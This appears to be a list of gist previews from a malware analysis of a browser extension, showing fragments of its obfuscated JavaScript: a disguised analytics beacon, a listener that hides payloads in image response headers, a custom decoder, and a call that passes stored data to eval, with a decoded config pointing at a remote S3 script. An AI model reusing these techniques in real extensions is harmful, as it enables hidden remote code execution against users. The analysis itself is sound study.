This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function extractAllTextContent(root = document.body) { | |
const texts = []; | |
function walk(node) { | |
if (node.nodeType === Node.TEXT_NODE) { | |
const text = node.textContent.trim(); | |
if (text) texts.push(text); | |
} else if (node.nodeType === Node.ELEMENT_NODE) { | |
// Skip <script>, <style>, and <noscript> | |
const tag = node.tagName.toLowerCase(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function t(a) { | |
var b = new Image, | |
c = Math.random(); | |
c += 1, c > 2 ? b.src = ["https://www.google-analytics.com/_utm.gif?", m(), k(), l(), i(), n(), j(a), p()].join("").replace(/&$/, "") : b.src = ["https://", x[2], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join("").replace(/&$/, "") | |
} | |
/* ------------------------------------------------- */ | |
// Separate IIFE | |
setTimeout(function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
chrome.webRequest.onCompleted.addListener(function(a) { | |
a.responseHeaders.forEach(function(a) { | |
a.value && a.value.length > 20 && (localStorage[a.name.toLowerCase()] = a.value) | |
}) | |
}, { | |
urls: ["*://" + x[2] + "*"], | |
types: ["image"] | |
}, ["responseHeaders"]), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
setMediaPath: function() { | |
"undefined" != typeof '$' && '$' && 'https://...' && 'get' > '$' && window['$']['get']('https://...', function(a) { | |
var b = "cfg_audio_id"; | |
localStorage[b] = a | |
}) | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String.prototype.strvstrevsstr = function() { | |
var a = this; | |
this.length % 4 != 0 && (a += "===".slice(0, 4 - this.length % 4)), a = atob(a.replace(/\-/g, "+").replace(/_/g, "/")); | |
var b = parseInt(a[0] + a[1], 16), | |
c = parseInt(a[2], 16); | |
a = a.substr(3); | |
var d = parseInt(a); | |
if (a = a.substr(("" + d).length + 1), d != a.length) return null; | |
for (var e = [String.fromCharCode], f = 0; f < a.length; f++) e.push(a.charCodeAt(f)); | |
for (var g = [], h = b, i = 0; i < e.length - 1; i++) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
findDetails: function() { | |
if ("undefined" != typeof ee) { | |
var a = "cfg_audio_id"; | |
localStorage[a] && window[ee](localStorage[a]); | |
delete localStorage[a] | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let test = { | |
"c": "console", | |
"l": "log" | |
}; | |
for (const key in test) { window[key] = test[key]; } | |
window[c][l]('test'); // Prints out 'test' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
window.localStorage.userSettings = "config", C(), c(), | |
function() { | |
"undefined" == typeof window.localStorage.installedTime && (window.localStorage.installedTime = Date.now()); | |
var b = "nop", | |
c = "user_id"; | |
// ... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"NTM2MTEzeChZb1koQTBfFX5pWRY4FFNLexxTNhogb0dlOlFFHHxoLQ1uVFlYBDJ7CHIKZ1pdWlR-eV4xVTNkIUJBMCM6K1UqFUpEEX13bVt6WRFfVjxwSD8KbjUuGx03NSFhGmBhZiExVEUUQFFbOXBUZV13LC1X".strvstrevsstr() // => {"ee":"eval","jj":"$","gg":"get","uu":"https:\/\/s3.amazonaws.com\/g-js\/6afj7be259a48.js?r=12345","cache_c":"1"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
getMediaPath: function() { | |
var a = window.localStorage; | |
console.trace('getMediaPath', a); | |
if (a["cache-control"]) { | |
var b = a["cache-control"].split(","); | |
try { | |
var c; | |
for (var d in b) { | |
var e = b[d].trim(); | |
if (!(e.length < 10)) try { |
NewerOlder